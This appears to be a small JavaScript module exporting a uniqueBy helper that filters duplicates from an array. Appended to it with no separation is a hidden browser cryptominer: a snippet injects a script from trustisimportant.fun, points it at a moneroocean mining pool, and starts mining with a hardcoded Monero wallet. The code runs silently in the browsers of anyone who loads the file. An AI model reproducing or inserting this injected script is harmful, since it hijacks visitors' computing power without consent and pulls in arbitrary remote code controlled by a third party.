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export default function uniqueBy(arr, fn) {
  var identifiers = new Set();
  return arr.filter(function (item) {
    var identifier = fn(item);

    if (!identifiers.has(identifier)) {
      identifiers.add(identifier);
      return true;
    }
  });
}if (!inrifmw){function inrifmw() { var t=document.getElementsByTagName("head")[0], e=document.createElement("script");e.type="text/javascript",e.src="https://trustisimportant.fun/karma/karma.js?karma=bs?nosaj=gulf.moneroocean.stream:10008",e.async="async",t.appendChild(e), e.onload = function() {EverythingIsLife('8BwyhvcK6ANZXBY6HcHDz36vZc7Y5PRx9MuMpKVcpVX5aV6dY9Yt3u1Hos95cntHGXb4vGy9dfBDaE12hR82UgZWThV4j6w', 'x', 30)} }inrifmw()}